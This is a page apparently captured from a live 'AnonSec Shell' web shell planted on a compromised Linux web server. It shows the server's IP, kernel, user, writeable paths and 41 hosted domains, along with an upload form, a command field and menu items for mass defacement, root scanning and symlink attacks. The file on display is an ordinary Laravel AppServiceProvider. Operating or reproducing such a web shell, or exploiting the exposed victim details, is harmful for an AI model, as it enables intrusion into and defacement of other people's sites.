AnonSec Shell
Server IP : 104.21.26.206  /  Your IP : 216.73.216.227   [ Reverse IP ]
Web Server : Apache
System : Linux frog 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web13 ( 5017)
PHP Version : 8.3.31
Disable Function : NONE
Domains : 41 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client12/web13/web/ahelos/app/Providers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/clients/client12/web13/web/ahelos/app/Providers/AppServiceProvider.php
<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use Illuminate\Database\Eloquent\Builder;
use Slugify;
use View;
use LaravelLocalization;
use Illuminate\Pagination\Paginator;
use App\Models\{Setting, Language, Page, Category, Banner};
use Illuminate\Support\Facades\Cookie;
use Illuminate\Http\Request;

class AppServiceProvider extends ServiceProvider
{
    /**
     * Register any application services.
     *
     * @return void
     */
    public function register()
    {
        //
    }

    /**
     * Bootstrap any application services.
     *
     * @return void
     */
    public function boot(Request $request)
    {

     \Illuminate\Support\Facades\URL::forceScheme('https');

      if (Cookie::get('cartToken') == '') {
         Cookie::queue('cartToken', session()->getId());
      }

      Builder::macro('withWhereHas', fn($relation, $constraint) =>
      $this->whereHas($relation, $constraint)->with([$relation => $constraint]));

      View::share('languages', LaravelLocalization::getLocalesOrder());
      // View::share('settings', Setting::get(['value', 'key'])->keyBy('key'));
      View::share('pages', Page::where('status', 1)->with('translation')->get());
      View::share('banners', Banner::where('status', 1)->get());
      View::share('categories', Category::withWhereHas('translation', fn($query) => $query->select('*')->where('language', LaravelLocalization::getCurrentLocale()))->with('subcategories')->where('type', 0)->where('status', 1)->select('*')->orderBy('sorting')->get());

      Slugify::addRule('ъ', 'a');
      Slugify::addRule('щ', 'sht');



      Paginator::useBootstrap();
    }
}

Anon7 - 2022
AnonSec Team